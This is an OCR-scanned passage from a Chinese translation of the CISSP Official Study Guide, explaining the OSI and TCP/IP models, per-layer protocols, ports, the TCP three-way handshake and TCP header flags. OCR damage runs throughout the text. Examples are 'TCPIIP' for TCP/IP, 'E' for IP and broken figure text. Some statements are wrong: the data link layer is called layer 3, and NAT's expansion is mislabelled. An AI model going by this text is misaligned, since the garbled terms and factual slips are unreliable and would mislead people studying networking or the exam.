特别是它们的工作方式以及与安全的关系。 本章和第 12 章"安全通信和网络攻击"会讨论这个领域。
只有阅读和学习了这两章的内容， 才能确保全面了 解 CISSP 认证考试的基本内容。
CISSP 官方学习指南(第 7 版)
1 1 .1 OSI 模型
通过协议使得网络上的计算机之间通信成为可能。 协议是一组规则和约束， 它们定义了数据在
网络介质上(例如 ， 双绞线、 无线传输等)如何传输。 在网络发展的初期， 许多公司都曾具有 自 己的
专有协议， 这意味着不同供应商的计算机之间 的交互常常非常困难， 甚至无法进行交互。 在努力解
决这个问题的过程中 ， 国 际标准化组织(lSO)在 20 世纪 80 年代初开发了针对协议的 OSI 参考模型。
明确地说， ISO 7498 定义了 OSI 参考模型(更常用 的名称是 OSI 模型)。 理解 OSI 模型及其与网络设
计 、 部署和安全性的关系对于准备 CISSP 考试来说必不可少。
为了适当地建立安全数据通信 ， 充分了解计算机通信中涉及的所有技术是很重要的。 从硬件、
软件到协议、 加密， 此外还需要知晓很多细节， 理解标准和遵循流程。 另外， 安全网络架构和设计
的基础是十分全面通用 的知识， 涉及OSI模型、 TCP/IP模型还有IP网络。
11.1.1 OSI 模型的历史
OSI 模型不是第一个， 或许也不是唯一一个试图简化网络互连协议或建立通用通信标准的模型。
事实上， 作为今天得到最广泛使用 的协议， TCPIIP(基于 DARPA 模型， 这种模型现在也被称为 TCPIIP
模型)早在 20 世纪 70 年代初期就己被开发出来， 而 OSI 模型直到 20 世纪 70 年代末期才被开发出来。
OSI协议的开发为所有计算机系统建立了一个通用 的通信结构或标准。 实际的OSI协议从来没有
得到过广泛采用， 但是OSI协议背后的理论， 也就是OSI模型， 却被大家很容易接受了。 作为一个抽
象的架构或理论模型， OSI模型说 明 了在理想硬件上的理想环境中协议应该怎样工作。 因此， OSI
模 型 已经成为一个所有协议都可 以与其 比较和对照的通用 参考点 。
11.1.2 OSI 功能
OSI 模型把网络任务划分到 7 个不 同的层中 。 在两台计算机之间的每一层负责执行数据交互(换
句话说， 网络通信)过程中对应的特定任务。 这些层通常从低到高以数字标注(见图 1 1. 1)。 它们通常
用各自 的名称或层数称呼 。 例如， 第 3 层也就是常说的网络层。 这些层用来具体表明信息流如何通
过不同的通信层面。 每一层都与上面的层和下面的层进行直接通信， 加上其他对等的层而形成通信
伙伴系统。
『，，，户nvphdaa，叫‘u
图 1 1.1 05I 模型
OSI 模型对于网络产品供应商们是一个开放式的网络架构指南。 这个标准或指南为开发新的协
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第 11 章 网络安全架构与保护网络组件
议、 网络服务甚至硬件设备提供了 一个通用 的基础。 根据 OSI 模型， 供应商们能够确保他们的产品
可 以与其他公司 的产品集成在一→起， 并且会得到操作系统的广泛支持。 如果所有的供应商都开发各
自 的 网络架构 ， 那么不同供应商 的产品之间 将几乎无法实现互通性。
OSI 模型的真正优点在于它对网络互连实际工作方式的描述。 在最基本的概念中 ， 网络通信出
现在物理连接中(无诡物理连接是铜钱上的电子、 光纤中 的光子还是空气中 的无线电信号)。 物理设
备建立了信道， 电子信号能够通过信道从一台计算机传递至另一台计算机。 这些物理设备信道只是
OSI 模型定义的 7 种逻辑通信类型中 的一种 。 OSI 模型的每一层都通过一个逻辑信道与另一台计算
机上的对等层进行通信 。 这样一来， 通过识别远程通信实体以及验证接收数据的来源， 基于 OSI 模
型 的协议就能够支持某种身份认证类型。
1 1 .1.3 封装/解封装
基于 OSI 模型的协议采用 了一种被称为封装的机制。 通过每一层从上一层接收到数据后， 封装
会给数据添加一个报头， 井且还可能添加一个报尾， 然后才将数据传输到下一层。 随着报文在每一
层的封装， 报文的大小也在不断增长。 数据从 OSI 模型的应用层向下移动至物理层时， 在每一层都
会发生封装。 数据从 OSI 模型的物理层向上移动至应用层时， 在每一层发生的逆向操作称为解封装。
封装/解封装过程如下所示i
(1) 应用层创建报文。
(2) 应用层将报文传递至表示层。
(3) 表示层通过向 报文添加信息对它进行封装。 信息通常只被添加到报文的开始部分(称为报
头); 不过， 某些层也会在报文的结尾部分添加 内 容(称为报尾) ， 如 图 1 1 .2 所示。
(4) 向 下传递报文并且部加每层指定信息的过程将一直持续 ， 直到报文到达物理层 。
(5) 在物理层， 报文被转换为表示 比特的 电子脉冲 ， 并且通过物理连接进行传输。
(6) 处于接收状态的计算机从物理连接中 截获这些 比特， 并且在物理层重新创建报文 。
(7) 物理层将报文从比特转换 为数据链路帧 ， 并且将报文向上发送至数据链路层 。
(8) 数据链路层剥离信息， 并且将报文向 上发送至网络层。
(9) 解封装的过程一直持续 ， 直到报文到达应用层 。
(10) 当 报文到达应用层时 ， 报文中的数据被发送至预期的软件接收者。
报头 仁豆豆1
、 庄豆豆二3
|11 数据 |
噩11 数据 |
||匾门 数据 l J报尾
闯匾川 数据 1 1"'"
|国噩门 数据 1 11
图 1 1 .2 OSI 模型的封装示例
被每一层去除的信息包括指令、 校验和等， 它们只能被最初添加或创建这些信息的对等层理解
(参看图 11.3)。 这些就是建立确保不同计算机上的对等层能够进行通信 的逻辑信道的信息。
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300
CISSP 官方学 习指南(第 7 版)
、 F ， 、
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d 、 飞 ，
， 、 飞 ，
一， 、 飞 ，
图 1 1 .3 OSI 模型的对等层逻辑信道的示例
发送至应用层(第7层)上协议找中 的报文被称为数据流。 直至到达传输层(第4层)， 报文仍然保持
着数据流的标签， 报文在传输层被称为段(使用TCP协议时的称呼)或数据报(使用UDP协议时的称
呼)。 在网络层(第3层)， 报文被称为数据包。 在数据链路层(第3层)， 报文被称为l帧。 在物理层(第l
层)， 数据己经被转换为能够通过物理连接介质传输的比特。 图 1 1 .4说明 了每一层如何通过这个过程
来改变数据。
11.1.4 OSI 分层
数据流
数据流
数据流
段(TCP)I数据报归DP)
数据包
帧
比特
图 1 1 .4 OSI 模型的数据名称
理解OSI模型每一层的功能和职责将有助于理解网络通信的运作原理、 攻击对网络通信的影响
以及如何实施保护网络通信的安全措施。 接下来的 章节中， 我们将从最底层开始对每一层进行讨论。
注意 :
要了解 TCPIIP协议找的更多 信息， 请在维基百科站点 h句:ρ巳u.wikipedia. org 上搜索 "TCPIIP"。
记忆 081
尽管有人认为 OSI 在实 际中很少应 用 ， 并且大多数技术人员 并未经常使用 0日， 然 而 OSI 模型
及其相关概念仍然在 CISSP 考试中 占据着牢 固 的地位。 为 了 最大限度地掌握 OSI， 必须首先能够按
照正确的顺序记住 OSI 的7个不同的层。 记忆这些层的一个常见方法是根据每一层名 字 的首字母生
成助记语， 我们 比较喜欢的一个助记语是 Please Do Not Teach Surly People Acronyms。 根据这个助记
语， 就能够记忆从物理层到应用层的各层。 还有一个助记语， 是从应用 层向 下: All Presidents Since
Truman Never Did Pot。 此外还存在其他一些记忆模式， 不过需要确认它们采用 的顺序是由上至下还
是 由 下至上。
胁 ，
第 11 章 网络安全架构与保护网络组件
1 . 物理层
物理层(第 l 层)从数据链路层接收帧， 并把帧转换为可以通过物理连接介质传送的比特。 物理
层还负责接收来 自物理连接介质 的 比特 ， 并且将 比特转换为数据链路层所使用 的帧。
物理层包含了 会告诉协议如何应用硬件来发送和接收比特的多种设备驱动l�}芋。 物理层还涉及
电气规范、 协议和接 口 标准 ， 如 下所示:
• EIAlTIA-232 和 EWTIA-449
• X.2 1
• 高速串 行接 口 (High-Speed Serial Interface， HSSI)
• 同 步光 网络(Synchronous Optical Network， SONET)
• V.24 矛口 V.35
通过设备驱动程序和这些标准 ， 物理层控制吞吐率、 处理同步、 管理线路噪音和介质访问 ， 并
且 决定使用数字、 模拟或光脉冲信 号在物理硬件接 口 上传输和接收数据。
工作在物理层上的网络硬件设备包括网络接口卡(NIC)、 集线器、 中继器、 集中器和放大器。 这
些设备执行基于硬件的信号操作， 例如， 从一个连接端口 向其他所有端口发送信号(集线器的要做操
作)， 或者为了 支持更长的传输距离而对信号进行放大(中 继器要做的操作)。
2. 数据链路层
数据链路层(第 2 层)负责将来自 网络层的数据包格式化为可以进行传输的适当格式。 这种适当
的格式由网络硬件和网络技术决定， 并且存在多种可能性， 如 以太网(IEEE 802.3)、 令牌环(IEEE
802.5)、异步传输模式(Asynchronous Transfer Mode， AT川、 光纤分布式数据接口σiber Distributed Data
Interface， FDDI)和铜线分布式数据接口(Copper DDI， CDDI)。 数据链路层内保留了一些技术特有的
协议， 这些协议将数据包转换为适当格式的数据帧。 一旦数据帧完成了 格式化， 就会被发送至物理
层进行传输。
下面列出了 数据链路层 内 驻 留 的协议:
• 串 行线路网络协议(SLIP)
• 点对点协议(PPP)
• 地址解析协议(ARP)
• 反向地址解析协议(RARP)
• 二层转发协议(L2F)
• 二层隧道协议(L2TP)
• 点对点隧道协议(PPTP)
• 综合服务数字网络(ISDN)
在数据链路层上对数据执行的部分处理过程包括向数据帧添加硬件的源地址和 目 的地址。 硬件
地址指的是介质访问控制。1AC)地址， 它是一种用十六进制表示法表示的 6 字节(48 比特)二进制地
址(例如， 00-13-02-1 F-58-F5)。 地址的前三个字节(24 比特)指示了 物理网络接口 的供应商或制造商。
这被称为组织唯一标识符(Organizationally Unique Identifier， OUI)o 0盯 由 IEEE 进行注册并控制发
行。 OUI 可 以用 于通过 IEEE 网站 http://stand缸ds.ieee.org/r电auth/oui/index.shtml 发现网卡制造商。 后
三个字节(24 位)代表一个独特的数字并被分配给该接口 的制造商。 没有两个设备可以在同一个本地
以太网广播域中具有相同的 " 同一个" 地址: 否则会发生地址冲突。 确保在私有企业网络中所有的
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CISSP 官方学习指南(第 7 版)
MAC 地址都是唯一的， 这是一种非常好的做法 。 虽然 MAC 地址的设计应该是唯一的 ， 但因为供应
商的错误有可能导致产生重复的地址。 当这一切发生时， 必须更换网卡硬件或将 MAC 地址更改(例
如 ， 欺骗)到非冲突的 替 代地址。
EUI-48 到 EUI-64
MAC 地址是 48 位的 ， 并 已使用 了 数十年。 一种类似的地址方案是 EUI-48. EUI代表扩展的唯
一标识符。 对于 æEE 802， 原始的 48 位 MAC 地址方案采纳了 原来的 Xerox 以太网地址方案。 MAC
地址通常是用 来识别 网 络硬件的 ， 而 EUI 用 来识别其他类型 的硬件以 及软件。
IEEE 认为 MAC-48 已经过时 ， 并且也应该倾向 于弃用 EUI-48.
现在也有从 EUI-48 向 EUI-64 转换过渡的举动 。 这是为 未来在全世界范围普及 IP叫 做准备， 也
为 网 络设备和 网 络软件 包的指数级数量增长准备， 所有这一切都需要一个唯一的标识符。
MAC-48 和 EUI-48 地址可以用 EUI-64 进行表示。 在 MAC-48 示例 中 ， 两个额外的字节 FF:FF
被添加到 OUT(头 3 个字节)和单拙的 网 卡(最后 3 个字节)中 间 ， 例女口 ∞.∞:∞:FF:FF:ee:眩目。 在 EUI-48
示例 中 ， 贝IJ 增加两个额外的字节 FF:FE， 例 如 cc:cc:cc:FF:FE:ee:ee:ee.
在 OSI 模型的数据链路层(第 2 层)的协议中， 你应该熟悉其中 的两个协议: 地址解析协议(ARP)
和反向地址解析协议(RARP)。 使用 ARP将E 地址解析为 MAC 地址。 使用 MAC 地址能够将某个
网段(例如， 通过集线器的线路)上的通信数据从源系统定向至 目 标系统。 使用 RARP 将 MAC 地址
解析为 E 地址 。
数据链路层包含两个子层: 逻辑链路控制(Logical Link Control， LLC)子层和 MAC 子层。 这些
层 的细节 内 容并不是 CISSP 考试的关键。
工作在第 2 层(数据链路层)的网络硬件设备包括交换机和桥。 这些设备都支持基于 MAC 的路由
通信 。 交换机从一个端口接收数据帧， 并且根据目的 MAC 地址从另一个端口发送数据帧。 MAC 目
标地址用于确定数据帧是否要通过桥从一个网络传送至另一个网络。
3. 网络层
网络层(第 3 层)负责 向数据中添加路由和寻址信息。 网络层接收来自于传输层的数据段， 并且
通过添加信息创建数据包 。 数据包包括源 IP 地址和 目的IP 地址 。
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路 由协议位于这一层 ， 包括下列协议:
• 网络控制报文协议(Internet Control Message Protoco! ' ICMP)
• 路由信息协 议(Routing Information Protoco!' 阳P)
• 开放式最短路径优先(Open Shortest Path First， OSPF)
• 边界网关协议(Border Gateway Protocol ， BGP)
• 网 络组管理协 议(Internet Group Management Protoco! ' IGMP)
• 网 际协议(IP)
• 网 际协议安全(IPSec)
• 互联网分组交换协议(Internetwork Packet Exchange， IPX)
• 网络地址转换(Simple Key Management for Internet Protoco! ' NAT)
• 网络简单密钥管理协议(SKIP)
网络层负责提供路由或传送信息， 但是不负责保证传输己进行验证(这个工作 由传输层负责)。
第 1丁 章 网络安全架构与保护网络组件
网 络层还管理着错误检测和节点数据通信(也就是通信控制)。
非 IP 协议
非 lP 协议是作为一种替代 E 并工作在 OSI 的 网络层的协议。 在过去 ， 非 E 协议被广泛使用 。
然而， 与 TCP/lP 的主导地位和成功相比， 非E协议 已成为 专用 网络的 范畴。 三个最被认可的非 E
协议是 lPX、 AppleTalk 和 NetBUI. 互联网分组交换协议(lPX)是 E兀SPX 协议的常用 套件〈虽 然没
有严格的要求)的一部分， 并使用 于 20 世纪 90 年代的 Novell NetWare 网 络中 。 AppleTalk 协议是一
套由苹果公司 开发并使用 于 Macintosh 系统网络上的协议， 最早版本于 1984 年初发布。 在 2009 年，
Mac OS X VlO.6 友布后取消 了 苹果操作系 统对 AppleTalk 的 支持。 lPX 和 AppleTalk 都可作为 lP 协
议网 关 ， 在死区 网络中 实现 E 方案(死区是指一个网段使用 另 一个网络层协议而不是 lP). NetBIOS
扩展用 户 界面(NetBEUI， 又名 NetBIOS 帧协议或 NBF)是最为广泛认知的一个微软协议， 在 1985
年开发出来用 于支持文件和打印机共享。 微软已经通过将 NetBIOS 工作于 TCP/lP 上(NBT)， 使得
NetBEUI 支持现代网络。 这反过来又支持服务器消 息块(Server Message Block， 5MB)协议， 也被称
为 通用 王联网 文件系统(Common Intemet File System， CIFS)。 作为低层协议， NetBEUI 已 不再获得
支持; 只 有 SJ\但和CIFS 仍在使用 @
当 非 E 协议在矛A有网 络中使用 时， 存在潜在的安全风险。 因为非 E 协议是罕见的 ， 大多数防
火墙无法对这些协议的数据包头、 地址或有效载荷执行内容过滤。 因此， 当 涉及非 E 协议时， 防火
墙通常阻止所有或者九许所有。 如果组织依赖于一个使用 非 E 协议的服务， 那 么可能不得冒着让防
火墙通过所有的非 E 协忱的风险。 这是在私有 网络内存在非 lP 协仪之间 的 网络段时主要考虑的 问
题。 然而， 非 E 协议可以封装在 lP 协议中 并在互联网上进行通信。 在封装的情况下 ， lP 防火墙很
少 能够在这样的封装上执行内 容过滤 ， 并且因 此安全性必须设直 为 九许所有或拒绝所有 。
工作在第三层的网络层硬件设备包括路由器和桥式路由器。 路由器基于速度、 跳数、 优先级等
信息决定了数据包传输的最佳逻辑路径。 路由器使用目的E 地址来指导数据包的传输。 桥式路由器
主要在第三层工作， 不过必要时也会在第二层工作， 这是一种先尝试路由、 在失败时默认桥接的设备。
路由协议
路由协议分为 两个主要类别 : 距离 矢量和链路状态。 距离矢量路由协议维护一个 目 的 网络以及
距 离和方向 的跳数列表(也就是到达 目 的地所经过的路由器数量)。 链路状态路由协议维护一张所有
已连接网络的拓扑图 ， 并且使用这张拓圳、图确定到达目 的地的最短路径。 距离 矢量路由协议的常见
例子包括 RIP、 IGRP 和 BGP， 而链且各状态路由 协议的常见例子则是 OSPF。
4. 传输层
传输层(第 4 层)负责管理连接的完整性并控制会话。 传输层接收来自 于会话层的 PDU(又名协议
数据单元、 数据包单元或数据负荷单元， 是一个在网络层流经的包含信息和数据的容器)并将其转换
为数据段。 传输层控制网络上设备的寻址或引用 方式， 以及在节点(也被称为设备)之间建立通信连
接， 还有定义会话的规则。 会话规则指定每个数据段中可以包含多少数据、 如何验证传输数据的完
整性、 如何确定数据是否丢失。 会话规则在握手过程中建立(请参考本章中 的 " 传输层协议 " 中讨论
的 " TCP/IP 的 SYN/ACK 三步握手过程" )。
传输层在两台设备之间建立了一个逻辑连接， 并且提供了能够确保数据传递的端到端传输服务。
这一层包括针对分段、 排序、 错误检查、 数据流控制 、 错误纠正 、 复用和网络服务优化的机制。 下
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CISSP 官方学习指南(第 7 版)
面列 出 了 一些在传输层上运作的协议:
• 传输控制协议(TCP)
• 用户数据报协议(UDP)
• 顺序数据包交换(SPX)
• 安全套接宇层(SSL)
• 传输层安全(TLS)
5. 会话层
会话层(第 5 层)负责在两台计算机之间建立、 维护和终止通信会话。 这一层管理对话模式或对
话控制(单工 、 半双工、 全双工)， 并为分组和恢复建立检查点， 以及重新传输上一次验证检查点 以
来失败或丢失 的 PDU。 下面列出了 一些在会话层上运行的协议:
• 网 络文件系统例FS)
• 结构化查询语言(SQL)
• 远程过程调用 (RPC)
通信会话能够 以 下列 三种 不同模式中 的 一种模式进行操作:
· 单工 单 向直接通信
· 半双工 双 向通信， 但是每次只 有一个方向可以发送数据
• 全双工 双 向通信， 此时数据可以 同时在两个方向上进行传输
6. 表示层
表示层(第 6 层)负责将从应用层接收的数据转换为遵从 OSI 模型的任何系统都能理解的格式。
它 向数据中强行添加通用 的或标准的结构和格式化规则 。 表示层还负责加密和压缩。 因此， 它成为
网络和应用程序之间的接口 。 通过确保数据格式能够被两个系统支持， 表示层准许不同 的应用程序
通过网络交互。 大多数文件或数据格式在这一层上出现， 包括图像、 视频、 音频、 文档、 电子邮件、
Web 页 面和控制会话等格式。 下 面列出了表示层 内存在的一些格式标准:
• 美国信息交换标准代码(ASCII)
• 扩充二进制编码的十进制交换码(EBCDIC)
• 标签图像文件格式(TIFF)
• 联合图像专家组(JPEG)
• 运动图像专家组(MPEG)
• 音乐设备数字接 口 (MIDI)
@ 真实场景
怎样记忆如此多的层和协议
对于这7层和 50 多 个协议， 去记忆各层存在的协议可能十分困难。 创 建闪示卡是帮助记忆的一
种方法。 每张卡片 的正面写 下协议的名字， 背面则写下层的名 字 。 打乱卡片顺序后， 将不同 的协议
堆放在表示不同层的位直。 放直完所有协议以后， 通过查看卡片 背面 的层名来检查记忆状况。 重复
这个过程 ， 直至能够正确放直 所有协议。
第 11 章 网络安全架构与保护网络组件
7. 应用层
应用层(第 7 层)负责将协议枝与用户 的应用程序、 网络服务或操作系统连接在一起。 它准许应
用程序与协议技进行通信 。 应用层确定远程的通信方是否可用和可访问 ， 还确保有足够的资源用于
支持被请求的通信。
应用程序并不位于应用层内; 相反， 传输文件、 交换信息和连接远程终端等任务所需 的协议和
服务都在这一层 。 很多应用专用 的协议也在应用 层 内 ， 例如下面这些协议:
• 超文本传输协议(HTTP)
• 文件传输协议(FTP)
• 行 式打 印机后 台程序(LPD)
• 简单邮件传输协议(SMTP)
• 远程登录(Telnet)
• 普通文件传输协议(TFTP)
• 电子数据交换(EDI)
• 邮局协议第三版(POP3)
• 互联网消息访 问协议(IMAP)
• 简 单网络管理协议(SNMP)
• 网络新闻传输协议例NTP)
• 安全远程过程调用(S-RPC)
• 安全电子交易(SET)
有一种网络设备(或服务)工作在应用层， 名叫网关 。 但是， 应用层网关是一种特定类型的组件。
网关作为协议转换工具使用 。 例如 ， IP-to-IPX 网关接收采用 TCPIIP 协议的入站通信， 并且在转换
为 IPXlSPX 协议的通信后实现出 站传输。 应用防火墙也工作在这一层。 其他网络设备或过滤软件也
可 以在这一层监测或修改数据流。
11.2 TCP/I P 模型
与 OSI 参考模型的 7 层相比较， TCPIIP 模型(也称为 DA盯A或 DOD 模型)仅由 4 层组成。TCPIIP
模型的 4 层为: 应用层、 传输层(也称为主机到主机层)、 网际层(有时称为互联网层)和网络接入层(然
而网络接口层和网络访问层都会被用到)。 图 1 1 .5对TCPIIP 模型 的 4 层结构与 OSI 模型的 7 层结构
进行了 比较。 TCPIIP 协议族是在 OSI 参考模型出现前被开发的。 因为网络连接中 己经部署了 TCPIIP
协议族， 所 以 OSI 参考模型 的设计人员 在设计时注意了确保 TCPIIP 协议族适用该模型的 问题。
TCPIIP 模型的应用层对应于 OSI 模型的第 三 第 6 和第7层。 TCPIIP 模型的主机到主机层对应
于 OSI 模型的第 4 层。 TCPIIP 模型的网际层对应于 OSI 模型的第 3 层。 TCPIIP 模型的网络接入层
对应于 OSI 模型的第 1 层和第 2 层。
后来， 由于混淆、 误解或偷懒， TCPIIP 模型层次的名字往往变得与 OSI 模型层次的名字相同 。
TCPIIP 模型的应用层已经借用 了 OSI 模型的一个层次名 ， 这是轻而易举的。 TCPIIP 模型的主机到
主机层有时被称为传输层(OSI 模型的第 4 层)0 TCPIIP 模型的网际层有时被称为网络层(OSI 模型的
第3层)0 TCP/IP 模型的网络接入层有时被称为数据链路层(OSI 模型的第 2 层)。
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CISSP 官方学 习指南(第 7 版)
OSI 模型 TCPIIP 模型
应用层
表示层
会话层
传输层 主机到主机层
网络层 网 际层
立斗 网络接入层
图 1 1 .5 OSI 模型与 TCPIIP 模型的对比
提示 :
由 于 TCPIIP 模型层次的名 字与 OSI 模型层次的名 字可以交换使用 ， 因此根据各种上下文确 定
所涉及的模型十分重要。 除非专 门指出 ， 我们往往认定讨论的是 OSI 模型 ， 这是因 为 它是最广泛使
用的网 络参考模型 。
1 1 .2.1 TCP/IP 协议族概述
TCPIIP 是使用最广泛的协议， 但它并不是一个单独的协议， 而是一个由许多单独的协议组成的
协议枝(如 图 1 1 .6 所示)0 TCP/IP 是一个基于开放式标准的、 独立于平台 的协议。 然而， 这既是它的
优点， 也是它的缺点。 TCPIIP 几乎可以在所有可用的操作系统中找到 ， 但是它耗用 了相当数量的资
源 ， 并且 由 于其设计 目 的是便于使用而不是安全 ， 因此容易 遭到攻击。
TCP UDP
| 网络层 I I 网 际层
I� IGMP
IP
| 时1 1 �*�j 1…| 令牌环 I FDDI
图 1 1 .6 TCP/lP 模型的 4 个层次及其组成协议
TCPIIP 可 以使用两个系统之间的 VPN 链接进行安全保护。 VPN 链接通过加密增加了 隐私性、
机密'性和身份认证， 并且维护数据的完整性。 用 于建立 VPN 的协议包括点对点隧道协议σPTP)、 二
第 11 章 网络安全架构与保护网络组件
层隧道协议(L2TP)和网 际协议安全(IPSec)。 另一种提供协议级别安全性的方法是采用 TCP 包装。 通
过在用户 D 或系统 D 的基础上限制对端口 和资源的访问， TCP 包装可以作为能够起到基本防火墙
作用 的应用程序 。 TCP 包装是基于端 口 的访问控制形式。
1 . 传输层协议
TCPIIP 两个主要的传输层协议是 TCP 和 UDPo TCP 是一个面向连接的协议， 而 UDP 是一个无
连接的协议。 当一个通信连接在两个系统之间建立起来时 ， 它 通过端 口 的使用完成操作 。 TCP 和
UDP 都有 65 536 个端口。 因 为端 口 号是 16 位二进制数， 所以端口总数为 2^ 1 6 或 65 536， 并且从 0
到 65 535 进行编号。 端口(也被称为套接宇)就是通信链接两端在传输数据时同意使用 的地址号。 端
口 允许单个 IP 地址能够支持多个同时发生的通信 ， 并且每个端 口 都使用 一个不同 的端 口 号 。
这些端 口 中 的前 1 024 个(端口 0-1023)被称为知名端 口 或服务端口 ， 这是由于它们己经按照标准
分配给所支持的服务。 例如， 端 口 80 是用 于 Web(H盯P川专输的标准端口 ， 端 口 23 是用于 Telnet 的
标准端口 ， 端 口 25 是用于 SMTP 的标准端口。 可以在 "通用应用层协议" 部分看到对考试有参考
价值的端 口 列表 。
端口 1024-49151 被称为己注册软件端口。 这些端口具有注册到 IANA(ww观iana.org)的一个或
多个互联软件产品 ， 目 的是为试图连接其产品 的客户 端提供一个标准的端 口 编号系统。
因为通常被客户端随机使用为源端口， 所以端口 491 52-65535 被称为随机端口。 在客户端和服
务器之间协商初始服务或己注册端口 之外的数据传输营造时， 某些网络连接服务也会使用这些随机
端口， 例如通用 FTP 进行的数据传输。
端口编号
IANA 推荐 49 152 到 65 535 之间 的端 口 用 于动态或私有端口。 然而不是所有的 OS 都遵从这个
规定， 例如:
• 伯克利软件分发(BSD)使用 1 024 到 4999 之间 的端 口
• 许多 Linux 内 核使用 32 768到61 000 之间 的端口
• 衍生软公司 Windows Server 2003 及以前的版本使用 1 025 到 5000 之间的端 口
• Windows Vista、 Windows 7 和 Windows Server 2008 使用 IANA 定义的端 口 范 围
• FreeBSD 从 4.6 版本后 ， 使用 IANA 建议的 端 口 范 围
传输控制协议在OSI模型的第4层(传输层)上运作。 这个面向连接的协议能够支持全双工通信，
并且使用 了可靠的会话。 TCP是面向连接的， 这是因为它在两个系统之间使用握手过程建立一个通
信会话。 当握手过程完成时， 就会建立能够在客户端和服务器之间 支持数据传输的通信会话。 这个
三步骤的握手过程(见图11 .7)如下所示:
SYN
SYN/ACK
C S
ACK
图 1 1 .7 TCP 三次握手
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CISSP 官方学习指南(第 7 版)
(1) 客户端向 服务器发送 SYN( 同步)数据包。
(2) 服务器使用 SYN/ACK( 同步和确认)数据包响应客户端。
(3) 客户端使用 ACK(确认)数据包响应服务器。
当通信会话结束时， 可 以使用两种方法断开 TCP 会话连接。 第一种也是最常用的方法是使用
FIN(finish)数据包来代替 SYN 数据包。 一旦所有的数据传输完毕， 会话的每一方都会发送一个 F时
标记包， 触发对方通过一个 ACK 标记包进行确认。 因此， 它 需要4个包来完成一个 TCP 会话。 第
二种方法是使用 RST(reset)数据包， 此类数据包能够使会话立即和突然终止(请参看稍后章节讨论的
TCP 报头标记)。
一个 TCP 传输的信息段是有顺序的 。 在不管接收顺序的情况下， 通过将接收的信息段重新排序
为正常的排列顺序， 接收者就能够重构最初的通信。 TCP 会话的数据通信会使用一个确认信号定期
进行验证。 确认是由接收端反馈给发送端， 通过设置 TCP 报头中 的序列值来确认收到发送方发送窗
口 内最后发送的序列号 。 发送确认数据包之前传输的数据包数被称为传输窗口 。 数据流通过名为滑
动窗口 的机制受到控制。 在发送确认信号之前， TCP 能够使用不同大小的窗 口 (也就是不同的传输数
据包数)。 较大的窗口 允许更快的数据传输速度， 但是只应当被用在数据丢失或损坏最小化的可靠连
接上。 在通信连接不可靠时， 应当使用较小的窗 口 。 在需要数据发送时， 就应当利用 TCP。 因为 TCP
会话的可靠性在使用时会有所变化， 所 以滑动窗 口 允许动态地改变这个大小。 在发送窗 口 的所有数
据包未接收完的情况下， 不会发送任何确认数据包 。 当 时间超时后， 发送方将会重新发送整个传输
窗口中 的 数据包。
与 UDP 协议相 比， TCP 报头相对复杂 。 TCP 报头的长度为 20 到 60 字节， 这个报头被分为若
干部分或宇段， 表 1 1.1 详细描述了 这些内容。
表 1 1.1 TCP 报头构造(按照从报头开始到结束的l顺序)
比特数 字段
16 源端 口
16 目 的端 口
32 序列号
4 数据偏移量
4 预留使用
8 标志(参看表 1 1 .2)
16 窗口大小
16 校验和
16 紧急指针
可变 各种选项; 大小必须是 32 比特的倍数
所有这些宇段都具有独特的参数和要求， 其中大多数字段超出 了CISSP的考试范围。 不过， 你
应当熟悉标志宇段的细节。 标志宇段可以包含对一个或多个标志或控制位的指示项。 这些标志指示
TCP数据包的功能， 并且请求接收方采用特定的方式进行响应。 标志宇段的长度为8比特， 其中每个
比特位置都表示单个标志或控制设置， 使用值1可以设置打开， 使用值0则可 以设置关闭。 有些情况
下， 可 以一次性启用 多个标志(也就是同时设置SYN和ACK标志时TCP三步握手中 的第二个数据包)。
表11.2详细说明 了 标志控制 比特。
第 11 章 网络安全架构与保护网络组件
表 1 1 .2 TCP 报头标记字段值
标志比特指示项 各 字 描述
C WR 拥塞窗 口 大小 用 于管理拥塞链接上的传输， 参看 盯C 3168
ECE ECN-Echo(明 确拥塞通知) 用 于管理拥塞链接上的传输， 参看 盯C 3168
URG 紧 急 指示紧急数据
ACK 确认 确认同步或关闭请求
PSH 推送 指示需要立即 推送数据加 以应用
RST 重宣 导致 TCP 会话立即断开连接
SYN 同步 请求使用新的序列号进行同 步
FlN 结束 请求对 TCP 会话的正常关闭
另一个重要的细节是， 在 E 报头协议字段中 ， 表示 TCP 的值为 6(Ox06)。 协议宇段值是在每个
IP 数据包中都能找到的标签或标志， 它告知接收系统所接收数据包的类型。 E 报头的协议字段指示
下一个封装协议的标识， 也就是来自 当前协议层的载荷包含的协议(例如， ICMP 或 IGMP)或上一层
的协议(例如， TCP 或 UDP )。 想象一下从深冻冰箱取出用 肉店包装纸包装的未知肉数据包上的标签。
如果没有标签， 那么不得不打开肉数据包来查看包裹的是什么肉。 但是， 如果有标签， 那么就可以
快速查找或过滤自 己感兴趣的 肉制品 。 要想了解其他协议宇段值， 访问 www.iana.orglassignments/
protocol_ numbers。
不熟练的攻击者纠缠真正的安全人员
这是记住 8个TCP 报头 中至少最后 6 个标志仕的好方法。 第 一和第二个标志位(CWR 和 ECE)
现在很少使用 ， 因此通常被忽咯/忽视。 然而， 最后的 6 个标志位(URG、 ACK、 PHS、 邸T、 SYN
和 FIN)在今天仍很常见并被广泛使用 。
请记住， 这 8 个标志位是 8 个二进制位直(即一个字节)， 可以用任何十六进制或二进制格式显
示。 例如， Ox12是字节 0001001 0 的十 六进制表示。 这个特定字节 的排列表明 第 4 个和第 7 个标志
位被启用 。 通过标志位的设计(制每个标志住一个字母， 留 下 CWR 和 ECE 并用 双 取代它们)，
XXUAPRSF 是 OOOAOOSO， 或设直 SYN/ACK 标志位。 注意: 在 TCP报头标志位字节的十六进制表
示通常在数据包捕获工具的原始数据显示栏显示， 如 Wireshark， 在偏移位直 Ox2F。 这是一个基于
标准的 以 太网 II 型 的报头 ， 是一个标准的 20 字 节 的 E 头 ， 也是一个标准的 TCP 报头。
可以通过使用 短语 "不熟练的攻击者纠缠真正的安全人员" 来记住这个标志的顺序 ， 其中每个
单词 的 第 一个字母对应标志位 3到8 的 第 一个字母。
@ 真实场景
协议发现
在任何时候， 典型 的 TCPIIP 网 络都会使用数百种协议。 可以使用嗅探器来发现当前网络中所应
用 的协议。 但是， 在使用 嗅探器之前， 必须确保具有适 当 的特权或投权。 如果没有获得批准， 那 么
使用 嗅探器就会被视为像窃听未受保护的 网络通信一样的安全违规行为 。 如果在工作中 不能获得特
权， 那 么可以在家庭网络上进行尝试。 首先， 下载和安装嗅探器， 例如 Wireshark. 随后 ， 使用 嗅探
